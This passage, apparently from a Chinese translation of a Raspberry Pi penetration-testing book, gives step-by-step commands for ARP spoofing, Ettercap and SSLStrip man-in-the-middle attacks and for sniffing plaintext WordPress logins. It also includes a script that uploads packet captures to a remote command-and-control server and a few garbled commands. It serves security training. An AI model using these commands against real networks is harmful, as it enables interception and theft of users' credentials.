cewl www.drchaos.com -w drchaospasswords.txt

图3-7显示了执行上面这条命令后的屏幕截图。

图3-7

在互联网上，也很容易找到许多常用的字典列表文件。以下是部分可供参考的字典例子。当然，也可以考虑在谷歌里自行搜索。

https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm [7]

https://wiki.skullsecurity.org/Passwords

以下是本书其中一位作者整合到一起的字典文件：http://www.drchaos.com/public_files/chaos-dictionary.lst.txt [8] 。

3.3　捕获网络流量 [9]

如果能接入目标网络就太棒了！当然，一旦在网络里扎下营了，下一步通常就是检视数据了。要做到这一点，需要有办法捕获和查看网络上的数据包。也就是要把树莓派变成一个可以远程访问的网络陷阱。

许多此类工具可能令树莓派超出负载，系统崩溃。请参考建议：使用调优的方式避免产生此类问题。

3.3.1　tcpdump

tcpdump是命令行形式的包分析工具。可以使用tcpdump拦截和显示TCP/IP及在系统中传输和附加的其他数据包。这也意味着树莓派必须能访问到希望检视的那个网络的流量，否则tcpdump就无法提供任何有用的数据。Kali Linux ARM映像文件中也默认没有tcpdump程序，需要执行sudo apt-get install tcpdump来安装。

安装后，只需要打开终端窗口，输入sudo tcpdump。在输入这条命令后，可以观察流经树莓派的数据流，如图3-8所示。

图3-8

如图3-8所示，如果树莓派没有捕获到想要的流量，那就不怎么值得看了。基本上，看到的只是把树莓派接到802.1X交换机后流经自己的流量而已，这实在有点无趣。

让我们来看看怎样让其他系统的数据流过我们的树莓派吧。

运行tcpdump会消耗大量的树莓派处理能力。测试发现仅运行tcpdump就有可能拖垮树莓派，如果再联合其他程序一起使用就更堪忧了。建议调整数据捕获的策略以避免这种情况。调整数据捕获的内容会在本章后段进行介绍。

3.4　中间人攻击（Man-in-the-middle）

常见的捕获敏感信息的方法是使用中间人攻击。中间人攻击的定义是，攻击者直接和被攻击者连接，同时频繁活跃地监听他们之间的通信。通常这种情况发生在一台主机和某些系统之间。例如，常见的密码截获方式就是在用户发送登录身份的主机和Web服务器之间做中间人攻击。本节将会介绍使用Kali Linux中自带的工具，如何进行若干种常见的中间人攻击。

下面是几种使用树莓派做中间人攻击，获得数据的具体方法。

3.4.1　从树莓派获得数据

要获得树莓派的数据有好几种做法。其中一种做法是用两块有线网卡把树莓派串进两个系统之间。这需要一个USB接口的网卡，并通过网卡将树莓派接入网络中。在图3-9所示的例子中，树莓派其中一块网卡和Windows笔记本电脑相连，另一块与网络交换机相连。其中有一块网卡就是USB接口的网卡。

图3-9

在真实的渗透测试中，可以随心所欲地改装树莓派的外壳，模拟成电源变压器或者网络集线器，来隐藏攻击系统。通常普通人如果看到网络设备上连着个小盒子，这小盒子在那里看起来也很理所当然，就压根不会劳神去关注它。在一次有授权的渗透测试里，我们曾将树莓派与办公室用具整合在一起，如用一个空心的闹钟来隐藏它。

需要树莓派配置成双向连接目标系统网口和网络端网口的网桥，以观察到流量，否则流量一旦到达树莓派也就结束了。在配置桥接之前，要先安装用于桥接两端网口的程序。安装的方法是执行apt-get install bridge-utils命令。一旦安装好了，下一步就是把树莓派配置成网桥的步骤，以便用于网络监听。

这种方式设置的树莓派，也适用于做入侵检测/拦截。这些内容会在第6章中再详述。

1．需要先把两个网卡都设置为开放的IP地址，也就是设置为0.0.0.0。要实现这点，需对2块网卡分别执行命令ifconfig eth[网卡编号] 0.0.0.0。

 ifconfig  eth0 0.0.0.0

 ifconfig  eth1 0.0.0.0

此时一定要确保已经下载并安装好桥接所需的应用，否则就需要重新设置与互联网端相连那块网卡的IP地址，这样才能下载到所需应用。或者安装一个USB无线网卡或有另一块USB有线网卡，才能使树莓派连上网络，继续下载需要的应用。

2．将两个网卡桥接成bridge0接口，使用命令brctl按如下添加两端的接口。

brctl addbr bridge0

brctl addif bridge0 eth0

brctl addif bridge0 eth1

如果没有安装bridge-utils应用，这个桥接命令是没法执行成功的。

3．最后一步是启用包含两端网络接口的新网桥，使用以下命令：

ifconfig bridge0 up

图3-10所示为命令执行时的情况。

图3-10

图3-11显示了用tcpdump查看目标笔记本电脑浏览互联网时的流量情况。

图3-11

部分流量，如SSL网页的部分是加密的。本章后面的部分会用SSLStrip来破解。

另一种从树莓派获取数据的做法是通过中间人攻击，把同一个局域网内其他机器的流量重定向到树莓派，这样就不需要改动其他机器网线的接法了。下面介绍这个做法是如何实现的。

很多品牌如思科和Juniper的网络交换机，都提供了规避地址解析协议（Address Resolution Protocol，ARP）被污染的措施。因此，在真实的渗透测试环境中，建议采用网络监听 [10] 的方式来做。

3.4.2　ARP欺骗

第2种用树莓派获得数据的方法是选定同一个网络里的某台机器，并对它进行ARP欺骗，把它的流量引到树莓派来。要这么做需要先下载dsniff软件包，因为默认的Kali Linux ARM映像文件中未包含这个软件。先执行命令：sudo apt-get install dsniff安装相应程序，才能进行ARP欺骗练习。装好dsniff后，就可以执行以下步骤开始ARP欺骗攻击了。

如果目标机器连接的交换机上启用了规避ARP污染的设置，这种方式会无法奏效。譬如在思科交换机里启用DHCP嗅探（DHCP snooping）和动态ARP检测（Dynamic ARP Inspection）就能防范ARP攻击。在思科交换机中，这些命令大致为ip dhcp snooping和ip arm inspection vlan [vlan号]。

1．要启用IP重定向才能实现ARP欺骗，执行以下命令，使数据包能够往返目标机器和树莓派之间。

 echo 1 > /proc/sys/net/ipv4/ip_forward

执行以下cat命令，如果显示的是1，则可以确认上面的IP重定向设置已生效：

cat /proc/sys/net/ipv4/ip_forward

2．接着，需要确认树莓派所在网络的默认网关和子网掩码。执行以下命令获得所需信息：

 netstat -nr

从图3-12中可以看出这是个C类网络，所以网络掩码为255.255.255.0，而其默认网关为10.0.2.1。

图3-12

3．然后，选择确认一个攻击目标。本章前面中提到Nmap这个工具对确定网络中有什么系统非常有帮助。因为只是寻找目标，在这种情况下，使用-R选项做反向域名解析，加入-sn选项以避免执行端口扫描。图3-12中显示默认网关网络是C类，所以扫描整个子网使用Nmap的如下命令。

 nmap -Rsn 10.0.2.0/24

在图3-13中，扫描显示局域网内有一台IP地址为10.0.2.63的Dell笔记本电脑，是可选的攻击对象。而其他的设备都是思科和Meraki网络设备。我们还是把目标设定为那台笔记本电脑吧。

图3-13

4．接下来要开始污染在目标机器和默认网关之间的ARP缓存，这样才能监听到两者之间的流量。用-i选项指定网络接口是eth0，用-t选项设定目标是10.0.2.63，而默认路由也叫网关是10.0.2.1，由-r选项设定。所以整条命令的执行如下：

 arpspoof -i eth0 -t 10.0.2.63 -r 10.0.2.1

在这个使用场景中，使用了树莓派自带的那块有线网卡作攻击。如果使用的是无线USB网卡，在接口那里，很可能就要写成wlan0了。

5．如图3-14所示，在运行着ARP缓存污染命令的窗口中，就可以看到攻击目标的相关流量了。保持这一状态，另外再运行类似Wireshark这样的工具，就可以实现数据捕获，查看具体流量信息了。本章后文会继续介绍这个主题。

图3-14

3.4.3　Ettercap

有一些可以简化ARP欺骗和网络端口桥接的程序。Ettercap就是1款很受欢迎的中间人攻击套装，它的功能包括上一节介绍的ARP欺骗。其他主要功能包括嗅探实时连接，过滤流经树莓派的内容，以及针对受害者的各种攻击方式。请访问http://ettercap.github.io/ettercap/ 获得此工具的更详细信息。

Kali Linux ARM版中默认没有包括Ettercap。在执行了apt-get install ettercap命令后，可以看到Ettercap有图形界面和纯文本两种安装选项，如图3-15所示。我们选择从图形化界面的Ettercap入手，所以执行apt-get ettercap-graphical安装所需的程序。

图3-15

Ettercap装好后，输入sudo ettercap -G执行该程序。执行后会出现如图3-16所示的Ettercap图形界面。

图3-16

Ettercap有两种嗅探的做法。第一种叫Unified sniffing（统一嗅探），也就是会嗅探转发到某块网卡上的所有数据包。使用这种方法可以搭配不同的选项，如选择使用贪婪（promiscuous）模式，也就是通过三层路由过来的数据包即使原本不是发给该主机的，也会自动重定向给它。Ettercap会禁用内核的IP重定向，以避免数据包被内核和Ettercap分别发送两次。

如果目标机器连接的交换机上启用了规避ARP污染的设置，这种方式会无法奏效。譬如在思科交换机里启用DHCP嗅探（DHCP snooping）和动态ARP检测（Dynamic ARP Inspection）就能防范ARP攻击。在思科交换机里，这些命令大致如下：ip dhcp snooping和ip arm inspection vlan [vlan号]。

第2种嗅探做法叫桥接嗅探，也就要使用两块网卡，并在它们之间做流量转发。这种方式与之前使用brctl命令来桥接两块网卡的做法类似。比起ARP污染的手法，更建议使用这种方式，因为这种方式更隐秘也更容易成功。而高级的交换机上已经能够防范ARP污染攻击了。但桥接的缺点是要把树莓派串接进网络里。

在检测/防范入侵攻击时，用这种方式设置树莓派也很管用。第5章中会再讨论这个话题。

在本例中，使用Unified sniffing的模式，因为树莓派只用eth0接口进行攻击。点击Sniff菜单，并选择Unified sniffing，如图3-17所示。

图3-17

Ettercap会提示选择树莓派的哪个网口。本次攻击只用到标准的eth0网卡，所以需要做出选择，如图3-18所示。

图3-18

Ettercap会在窗口的底部显示关于自身所带插件和协议的详情。同时也会注意在顶层菜单的位置里出现了一些新的选项，如图3-19所示。这里需要扫描网络里的主机。点击Hosts菜单，并选择Scan for hosts来扫描主机。此时Ettercap开始扫描网络中的主机，并同时显示进度条。

图3-19

扫描的结果会呈现在底部一个文本框内。在这个例子中，共发现了4台主机。点击Hosts菜单里的Host list命令，查看找出来的主机。图3-20所示表明在Host list里有4台主机。

图3-20

需要选择两台主机作为目标1（Target 1）和目标2（Target 2）。在这个例子中，选择10.0.2.1，也就是默认网关，作为目标2。再选择被攻击者的机器10.0.2.64作为目标1。这样，树莓派就会位于两个目标当中。

要将一个IP地址加为目标，可以在Host List中，点击IP Address部分，然后点击Add to Target X，X就是要加的目标。此时会看到Ettercap在底部的窗口中就显示选择的IP地址已加为目标IP。要确认IP地址是否已加好，还可以点击Targets菜单中的Current Targets命令。图3-21显示主机10.0.2.64已被加为Target 1。

图3-21

要对选定的目标执行ARP欺骗，可以点击Mitm菜单中的Arp Poisoning命令。这里需要再设置两个额外的选项，一个是Sniff remote connections（嗅探远程连接），另一个是Only poison one-way（只做单向污染），如图3-22所示。选择Sniff remote connections并点击OK按钮。

图3-22

一旦点击OK按钮后，Ettercap就会在底部的窗口中提示它正在对第1组和第2组列表中的受害目标进行ARP污染攻击，这也就是在主机扫描中选出来的Target 1和Target 2主机。最后一步是点击Start菜单中的Start sniffing命令，如图3-23所示。

图3-23

树莓派目前就相当于位于目标攻击系统和默认网关之间，后续就可以通过Wireshark这类嗅探软件查看数据流量。Ettercap本身也自带嗅探功能，但它的自带功能远不如Wireshark这类工具，在后面章节会谈到这些工具。在运行Ettercap的时候，如果希望监控ARP欺骗攻击，点击View菜单中的Connections命令。

3.4.4　Ettercap命令行

Ettercap也可以命令行方式执行，这比图形方式所消耗的资源更少。可以执行apt-get install ettercap-text-only命令下载安装命令行版本的Ettercap。

假设想在命令行状态下执行与前面图形界面例子中一样的步骤，去攻击和树莓派同网段的设备。以下命令可以快速实现这个目标：

ettercap -Tqi eth0 -M arp:remote //

图3-24所示的扫描结果与图形界面的颇为接近。

图3-24

然而，在命令行状态的例子中，实际上攻击的是所有被加到Group 1和Group 2中的主机，也就是网络中所有的机器都是被攻击目标。如上述命令行参数所示，指定监听的是eth0网卡，Ettercap发现了4台主机，这样执行就把4台主机都加进两个组里了。另外，这么做不能解密SSL流量；这部分内容会在本章后面的内容里详述。

要确认Ettercap是否在正常工作，可以使用网络监控软件做测试，如dsniff套装里的urlsnarf程序。如图3-25所示，执行urlsnarf -i [网卡接口]命令。

图3-25

此时执行urlsnarf的终端窗口中就可以看到网络流量了，也就是在本次攻击中捕获的内容，如图3-26所示。

图3-26

3.5　Driftnet

如果要查看中间人攻击捕获流量中的图片内容，可以使用Driftnet工具。肯定有更好的方法找到更有趣的数据。然而如果关注的只是图片类信息，Driftnet就非常有用了。Driftnet在Kali Linux ARM中默认未自带，可以执行apt-get install driftnet安装这一程序。

装好后，可以执行driftnet -i eth0启动该程序，此时会打开一个新的空白终端窗口。在中间人攻击中的被攻击方查看的任意图片都会显示在这个窗口中。图3-27所示为某台主机在访问思科站点www.cisco.com 时，Driftnet捕获到的图像。

图3-27

3.6　优化网络捕获

在真实的渗透测试练习中，抓取原始的tcpdump数据包或使用类似Wireshark这样的工具会消耗大量的功率，有时候还会把树莓派搞垮甚至令其无法工作。因此，在真实环境中除非能调整捕获的策略，尽量减少树莓派的开销，否则最好避免使用此类工具。以下是如何可控地使用tcpdump来捕获网络流量的步骤。

tcpdump非常有用，当然越了解自己的需求，就越能最大限度地用好树莓派上的这款工具。以下内容只是提供了几个调整的要点，因为本书的目标不是要提供一份全面完整的tcpdump教程。

要考虑的第一件事就是尽量缩小tcpdump的监控范围。有几种方式可供选择。第一种是指定host关键字。host关键字可以过滤出与之匹配的主机名或IP地址的流量。具体用法如下：

tcpdump host www.drchaos.com

要是用IP地址过滤，可以这么写：

tcpdump host 8.8.8.8

还可以指定源端的IP地址、目标端IP地址，以及源端加目标端IP。在以下例子中，同时设定了源端和目标端的IP地址：

tcpdump src 1.1.1.1 dst 2.2.2.2

当然也可以不用限制得太严格，仅把搜索范围设定为源端或目的端地址。

也许还需要搜索属于特定子网的流量。要达到这个目的，可以使用tcpdump里的net命令。但这么做之前，请谨记这几个要点。如果网络非常繁忙，树莓派很可能跟不上流量捕获。因为不但树莓派处理能力有限，而且它的百兆网卡也是受限的瓶颈。如果超出了树莓派的处理能力，最好的结果就是出现网络丢包，无法准确捕获到所期望的结果，最坏的结果就是直接把系统搞垮了。

以下命令用于查看特定子网的流量：

tcpdump net 10.0.1.0/24

还可以像以下例子一样搜索特定协议的流量：

tcpdump port 80,21

尽管名字叫tcpdump，但实际上它可以指定过滤TCP、UDP和ICMP协议。

tcpdump icmp

[11]

还可以设置监控特定的端口，甚至还可以进一步设定这些端口是源端口还是目标端口。以下例子就结合了以上提到的还几种选项：

tcpdump src port 1099 and udp icmp and src port 20

过滤出来的数据可以保存到一个文件中，以便后续分析。要把捕获的数据写到一个文件里，需要使用-w选项，后面跟着要保存的文件名。最好把文件名的后缀设定为.cap：

tcpdump -s 10994 port 80 -w my_capture_file.cap

可以通过tcpdump的-r选项再读取已保存的数据文件，举例如下：

tcpdump -r my_capture_file.cap

然而，还是建议将捕获到的数据文件传给外部的FTP、SCP、HTTPS或其他类型服务器。

3.7　编写tcpdump文件上传脚本

如果希望把网络抓包的数据输出到其他服务器，以免占满树莓派的空间，以下步骤可以将抓包数据输出到外部机器，由它们处理那些比较耗费资源的任务如密码破解或报表生成。

本书其他章节需要输出数据时，以下方法也是适用的。

第2章曾建议搭建一个远程服务器，用作C&C中心主控服务。本章前面也提到要把抓包文件传给FTP服务器。关于FTP的使用，很重要的一点是需要谨记，从本质上来说FTP并不安全。人们选择FTP有各种原因。然而在真实世界的渗透攻击中，使用各种形式的加密，如IPSec通道或者SSH/SFTP传输都是非常必要的。IPSec确保所有的数据传输不会暴露在互联网上，不会被其他人捕获和查看到，只有保障了FTP服务的通信安全，才能确保网络中客户端、服务器，以及中间的传输媒介都是完全可控的。

大家也许会问，“为什么要如此大费周章，直接使用FTP不就好了吗？”如果捕获到的是敏感信息，就有非常充分的理由需要保护这些数据了。那又会带出另一个问题，为什么一开始的时候打算用FTP来传数据呢？在前面的章节中也提到，使用FTP是因为其在业界中广为人知，也有现成的文件自动传输脚本。当然，使用更安全的协议，也可以实现同等的效果。

下面介绍怎样通过一个简单的FTP脚本获得在远端树莓派上的数据。首先，打开文本编辑器，将文件后缀名设定为.py，并把这个文件存为ftp.py 。

import ftplib                                  #导入python里的ftp模块库
session = ftplib.FTP('server.IP.address.com','USERNAME','PASSWORD')
file = open('*.cap','rb')                    # 准备要发送的文件
session.storbinary('STOR *.cap', file)         # 发送文件
file.close()                                   # 关闭文件和FTP
session.quit()                                 # 退出ftp会话

下一步，需要修改文件的权限。可以执行chmod 777 ftp.py 　命令将其变成可执行文件。

这是一个非常基础的脚本，还需要在代码中设定要传输的文件、FTP服务器的用户名、密码和IP地址。

如果要频繁使用这个脚本，还可以加入更多的选项，如自动监控捕获文件的目录，然后自动用FTP完成上传，甚至可以指定上传的目录。

树莓派的tcpdump抓包输出文件中包含数量众多的数据包，查看和组织起来非常费劲。要实现这个目标，处理此类数据最常用的办法是使用业界标准的图形化网络分析工具Wireshark。下面介绍如何使用这个工具。

相比众多轻量级的命令行工具，Wireshark需要更多的处理能力，这可能导致树莓派变得不稳定甚至崩溃。因此，建议使用tcpdump来捕获数据，并通过调整参数，用最优化的方式做数据捕获。然后在C&C服务器上用Wireshark查看捕获的数据而不是直接在树莓派上查看。

3.8　Wireshark

Wireshark是当今最受欢迎的开源数据包分析程序之一。它可以用于检测网络故障、分析系统间的通信，而在渗透测试中，如果已经攻进了目标网络，就可以在该网络用Wireshark捕获数据。可以将Wireshark视为有着好看图形界面和灵活数据排序功能的tcpdump。Kali Linux ARM版本默认已自带Wireshark，可以在Kali Linux的应用下拉菜单的“top ten tools（最常用的10款工具）”类别里找到它。

在实际环境中使用前，需要先在实验室里提前测试一下Wireshark的用法。在真实环境里，Wireshark有时候会把树莓派搞垮。出于这种顾虑，建议在树莓派上运行tcpdump，合理过滤需要抓的包，而把Wireshark运行在远端的C&C服务器上。如果非要用它不可，建议在树莓派上使用tshark，而在C&C服务器上运行完整版的Wireshark。

Wireshark有两种用法。首先看看完整图形界面版。

启动Wireshark时，会看到一条错误信息，然后再有一条告警信息，提醒当前程序是以超级用户执行的，也就是root。只要点击OK就进入主界面了。

图3-28所示为Wireshark的主界面截图。

图3-28

假设此时通过本章前面介绍的方法，已经有流量在通过树莓派，可以看看实时的数据。第一步就是设定Wireshark打算用哪块网卡捕获数据，这时可以点击界面上的Interface List按钮，弹出的窗口中列出了所有网卡，在其中选择用于查看流量的网卡。

如果树莓派这时是以两块网卡搭起的网桥形式运行的，需要在数据源里选择bridge0网卡接口。如果是用ARP污染的方式获得数据的，这说明只用到一块网卡，可以选择类似eth0这样的网卡接口，具体见图3-29中的例子。选择需要监控的那块网卡前面的核选框，再点击Start按钮即可。

图3-29

可以用Wireshark查看之前捕获的数据，如保存在pcap文件中的数据。理想的情况是把树莓派放在网络中做网络捕获，后续再查看捕获内容的时候。由于查看数据包文件时会消耗大量的内存，所以建议只用树莓派查看实时的数据，而不要在树莓派上累积大量数据捕获文件，因为它的存储能力很有效。折中的做法是把数据存储和输出网络捕获到外部C&C服务器上，以适应渗透测试的需求。

一旦选好网卡接口，就会进入Wireshark的实时捕获页面。如果是采用ARP污染的方式从树莓派上获得流量的话，此时会看到大量的数据，其中有很多是ARP污染的数据包，在图3-30上以黑色标识。

图3-30

Wireshark广受欢迎的一个功能是能迅速地对大量的数据日志进行排序。只要在过滤器（filter）一行中输入特定的主机名、数据包类型等信息，就可以大大缩小感兴趣数据包的范围。举一个攻击的例子。

3.8.1　捕获WordPress密码案例

在这个例子里，启动Wireshark进行实时捕获，同时以管理员身份登入目标系统，这是一套WordPress博客站点。Wireshark可以捕获到主机的登录会话，因此攻击者可以查看捕获的密码。要停止Wireshark捕获，点击红色的正方形按钮。停止后可能要稍微等1分钟，Wireshark的界面才会显示出来。

这时候，可以来找找WordPress的登录信息。登录信息，也就是用户访问一个系统的信息如用户名和密码，通常能在POST请求的数据包中找到。先使用过滤器过滤出所需的流量数据，缩小目标。因此，在本例中可以使用ip.src == 的命令排查出目标端的IP地址，再使用http.request.full_url的命令过滤出HTTP请求登录信息，然后点击“应用”执行过滤。图3-30所示的过滤器就是这条规则的写法，以及执行过滤后输出的情况。

在输入正确的过滤表达式后，过滤器位置的颜色会变成绿色。Wireshark会校验输入的过滤条件，并自动提示可能的过滤器表达式写法。如果输入的内容有错误，过滤器位置的颜色会变成红色。

使用下面这条命令可以过滤出需要的目标端IP地址:

ip.src ==

[目标IP

] and http.request.full_url

输入过滤表达式时，为了避免把树莓派搞垮，建议先把暂停网络捕获，等一分钟后再输入过滤表达式。

一旦应用了一条过滤规则后，Wireshark可能要花好几分钟时间才能清除掉不需要的数据。在过滤捕获数据时，会看到Wireshark中会出现一个进度窗口。

可以忽略掉GET类型的数据包，因为这是访问登录页面时加载的网站内容，还可以忽略掉ARP欺骗的数据。想要迅速地浏览数据，可以点击其中一个字段如Protocol（协议）来排序，让该字段按字母数字的方式进行排序即可。排序可能也要花数分钟的时间，并且在计算的时候也会再次弹出进度条。

这里要找的是用户提交数据给服务器时的POST请求行。具体见图3-31中红圈框出的位置。

图3-31

要查看原始的数据包，可以点击这一行，右键弹出选项后，选择Follow TCP Stream，然后会弹出这个数据流的显示窗口，如图3-32那样显示原始的登录信息。

图3-32

在图3-32显示的原始数据捕获中，可以看到许多有用的数据（此处对关键信息进行了马赛克处理，因为这是一台真实的服务器）。最值得注意的就是包含“log=”和“pwd=”的那一行，明文显示了用户名和密码。

3.8.2　tshark

tshark [12] 是命令行版本的Wireshark。如果要在树莓派里使用Wireshark，tshark是最好的选择。也可以考虑用tshark代替tcpdump做数据捕获。

要运行tshark，只需要在命令行终端中输入tshark，然后选择一个可用的网卡。也可以专门指定监控其中一块网卡，如执行tshark eth0就代表使用eth0端口。图3-33展示了tshark做的基本数据捕获。

图3-33

如果希望把捕获的数据保存成文件，这样就可以把结果输出到C&C服务器。运行tshark -w [文件名].cap，就能将捕获的数据保存到指定文件。图3-34展示的就是在抓包时将数据保存到capture.cap文件中。只需要按下Ctrl + C组合键就可以终止捕获，执行ls命令可以显示这个文件。

图3-34

如果一直不停止tshark的捕获，迟早会把树莓派的内存耗光。要避免这一点，可以指定接收数据包的数量，通过增加-c [数量]到命令。本例中，使用tshark -c 500-w capture.cap捕获500个数据包，然后停止运行。对有目标的渗透测试来说，这是最理想的做法，因为可以设定这次捕获需要占用的空间大小，将捕获的数据保存成文件，按照书中之前讲过的步骤将文件上传到C&C服务器。前面在介绍tcpdump的类似功能的时候使用了过滤的脚本，也可以稍微调整过滤的写法，用tshark而不用tcpdump的话，可以多一种数据包捕获工具。

3.9　用SSLStrip破解HTTPS

主机系统抵抗针对Web服务器中间人攻击的主要方法是SSL加密。一般在访问敏感服务如在线银行或购物时会碰到SSL加密。许多浏览器会在界面上显示一把小锁，标识当前是HTTPS状态，提醒最终用户要注意安全。

有赖于安全研究员Moxie Marlinspike的贡献，这一层的防护也可以用SSLStrip绕过。SSLStrip通过代理HTTPS请求从受害者并转为HTTP发送。HTTP流量是未加密的，使它可以被窃听。一旦SSLStrip强制成HTTP连接，攻击者就可以用tcpdump查看未加密的身份信息，如访问Facebook账号时。

之后开发的HTTP严格传输加密（HTTP Strict Transport Security HSTS）规范可以抵御这种攻击。然而，部署HSTS的进展依然缓慢。有些商家如在线银行更倾向于压根不提供HTTP版本的网站，HTTP版本的网站通常用于在受到攻击时返回“未找到网页”的信息提示。但不幸的是，很多其他商业机构是同时提供HTTP和HTTPS版本的网站，以避免给人留下网站没开通的印象，而罔顾了使用SSLStrip做中间人攻击的风险。因为这些及其他各种原因，SSLStrip攻击依然很常见。

再来看看在一台主机和互联网之间的SSLStrip攻击，该主机正准备访问自己的Facebook账号。图3-35显示了在用户和Facebook之间的通信情况。

图3-35

进行中间人SSLStrip攻击时，SSL加密会话会被拦截，返回给用户的是已被替换过的HTTP响应。而用户再发送信息时，并不知道信息是以明文传输，很容易被网络嗅探器查看。

图3-36显示了SSL连接的拦截被SSLStrip。

图3-36

树莓派系统的Kali Linux使用场景，是先放进网络，然后扫描网段，看哪个系统适宜攻击，再使用本节描述的步骤，攻击者就可以针对内网用户执行中间人SSLStrip攻击，以挖掘用户的密码。

3.9.1　发起SSLStrip攻击

SSLStrip攻击包括以下步骤。

1．Kali Linux ARM版本默认没有安装SSLStrip，因此在实施攻击之前，先得安装这个程序。运行apt-get install sslstrip命令下载该程序。

2．安装了SSLStrip之后，首先要做的是进行ARP欺骗。在本章前面已经做了介绍，这里再快速地回顾一遍ARP欺骗的过程。要总结这些步骤，按如下执行。

执行echo 1 > /proc/sys/net/ipv4/ip_forward，启用IP重定向。

使用netstat -nr确认默认网关和子网掩码。

用Nmap选择网络里的一个目标，使用nmap -Rsn [网络范围/子网掩码]。

启用ARP中毒缓存，执行arpspoof -i eth0 -t [目标IP] -r [默认网关]。

这时会显示ARP缓存污染攻击过来的流量。保持该窗口的状态。

只要ARP缓存污染攻击的程序在运行着，就可以看到如图3-37所示的ARP欺骗流量。

图3-37

3．设置好ARP缓存污染后，打开一个新的终端窗口，用iptables设置端口转发。这样攻击者就可以在TCP 80端口上捕获数据流量，并重定向到SSLStrip的监听端口，监听端口只要是可用的值即可。比如在本例中，将目标端口和重定向的目标端口都设置为8080，并使用如下命令：

 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j

 REDIRECT --to-port 8080

上面这条命令行中选择的重定向端口必须与SSLStrip里的监听端口保持一致。

图3-38显示的是执行了这条命令之后的场景。

图3-38

要禁用该命令中的PREROUTING规则，可以将其中-A换成-D，就可以清除所有实用的规则。

要flush iptable，可以使用命令iptables -t nat -F

要确认规则的加载，则可以用iptables -t nat -L

ARP欺骗有许多可配置选项。可以使用man iptables命令来翻阅其他的选项。

4．发起SSLStrip攻击。在本例中，我们使用TCP 8080作为监听端口。因此，要执行的命令为sslstrip -l 8080，具体见图3-39。

图3-39

要查看攻击的效果，可以另外再打开一个终端窗口，并输入下述命令：

tail -n 50 -f sslstrip.log.

要测试攻击，可以在被攻击者的系统上打开Web浏览器，并访问使用SSL加密的系统如在线邮箱。返回终端窗口，查看sslstrip.log，会发现用户名和密码以明文显示，见图3-40中的高亮部分。收集的数据放在文本文件里，攻击者可以在之后再翻查该记录文件。

图3-40

这种攻击仅在局域网内有效。

总结

在本章中，我们开始把树莓派用于渗透测试中。本章首先讨论了怎样用Nmap来探查网络中的设备端口，以及获得其他可能在渗透中用上的数据，然后研究了如何破解无线网络，这样才可以连入网络，运行Nmap和其他扫描工具集。

完成了对局域网和无线网络的勘察工作后，我们又学习了几种针对网络层的攻击技术。首先学习了中间人攻击，把数据引入到树莓派。然后，讲解了如何通过在一个受信任的源和被攻击者之间监控流量，来破解SSL加密。另外还介绍了调整数据包的捕获和输出数据的方法，以避免搞垮树莓派。

下一章将学习如何利用树莓派攻击系统，以及高级的捕获敏感数据的技巧。

[1] 　译者注：一家开发基于手机和平板渗透系统的厂商。

[2] 　译者注：这个IP前的横线应该是多余的，貌似这样没法执行nmap，但原书确实有，理应要去掉。

[3] 　译者注：对这个地方的章节编号非常存疑。从原书的全局目录看，这个地方是3.1.2小节，属于3.1节，但从内容上看，似应和下一节“破解WPA/WPA2”更相关。所以推测这里应该已经是3.2节，而“破解WPA/WPA2”则应该是3.2.1小节。

[4] 　译者注：非常怀疑这里是3.2.1小节。

[5] 　译者注：这条命令好像用的依然是真实的网卡MAC地址，那之前的macchanger似乎意义不大。

[6] 　译者注：原书的编辑略粗心。这里上文明明说捕获的数据文件叫capturefile.cap，命令这里却对不上。

[7] 　译者注：原文这里文件类型是.html，地址是错的，实际应该是.htm。

[8] 　译者注：这个下载也无效。

[9] 　译者注：这节“捕获网络流量”，按原书的排版格式是属于3.2节“破解WPA/WPA2”里的子小节，但从内容来看，应该是和它平行的一节。此处译者擅自作了章节调整，也直接影响到后续几小节的编号关系，如有欠妥之处，责任全在译者。

[10] 　译者注：这个地方原文是recommend the network tap approach…，揣摩也许是从交换机的镜像口把流量接给树莓派，但那样会太多了，也许仅是指上面的网桥形式。

[11] 　译者注：这一句原文在上面的（tcpdump net）后面一行，但那个位置明显和前后文不符，猜测应该在这里。

[12] 　译者注：Kali默认也没有带tshark，需要使用apt-get install tshark进行安装。

第4章　树莓派攻击

上一章学习了如何设置树莓派用于渗透测试。步骤包括安装Kali Linux、怎样访问目标网络和执行基本的网络探测。本章主要关注在树莓派连入网络后，怎样攻击目标系统。本章的主题包括怎样攻击操作系统，设置社交工程攻击，利用浏览器漏洞以及使用Kali Linux里的工具设置恶意接入点。这里涉及的某些工具已预装在Kali Linux ARM版本映像文件中。当然，还是建议使用apt-get下载最新版本，保持常规的更新。

本章讲解了以下内容：

如何攻击目标系统；

Metasploit；

社会工程；

社会工程工具包；

用BeEF钓鱼；

恶意蜜罐；

获取用户身份的工具easy-creds。

受限于树莓派大小和处理能力，树莓派性能有限。强烈建议先在实验室环境里测试后文提到的各种技术，而不是直接放在真实的渗透测试里使用。

4.1　攻击目标系统

攻击系统意味着利用系统的缺陷、故障或漏洞，使系统执行某些超出本意的动作。这类有违本意的行为通常包括攻击者获得系统管理员权限，或被拒绝服务攻击打垮。如果树莓派能放进目标网络里，目标就是让树莓派作内应，以攻击所在网络里的系统。用这种方式做攻击，处于网络边界的防御手段是无法检测到的，除非这些防御机制能根据行为分析同网段内的网络包，或者使用交换机的SPAN（Switch Port Analyzer）机制，把流量镜像到做监控的一台IPS/IDS上。通常运维管理人员对网络边界的防护策略做得很好，但对网内主机之间通信就比较视而不见了。把树莓派放进这样的网络，并在各地进行远程操控，就非常适宜。在本章会看到很多攻击模式的示意图。

完整安装版的Kali Linux拥有非常多的操作系统攻击工具，然而在Kali Linux ARM映像文件里很多都没有包括进去。当然，可以通过apt-get命令安装缺失的程序，但这么安装的程序可能无法正常工作，又或会不断消耗过高的处理能力，导致树莓派无法工作。因此，本章会介绍一些适宜树莓派的特定类型攻击。

下面从最受欢迎的系统攻击框架Metasploit开始，了解如何用它进行攻击。

4.2　Metasploit

Metasploit项目是执行系统攻击代码的事实标准。Metasploit框架包含几百条针对不同平台的攻击脚本。攻击者可在攻击模块中使用载荷数据（payload）、各种编码器和NOP（no-operation，无操作指令）序列产生器，以解决几乎所有系统攻击相关的问题。Metasploit受欢迎的关键原因是它以格式化的脚本形式，实现各种复杂的攻击，因此普通用户也能在短时间内发起像模像样的攻击。关于Metasploit的具体使用，可以浏览它的官方站点www.metasploit.com 以获得更多信息。

Metasploit Framework有各种工具可用于系统破解，这些工具如下所示。

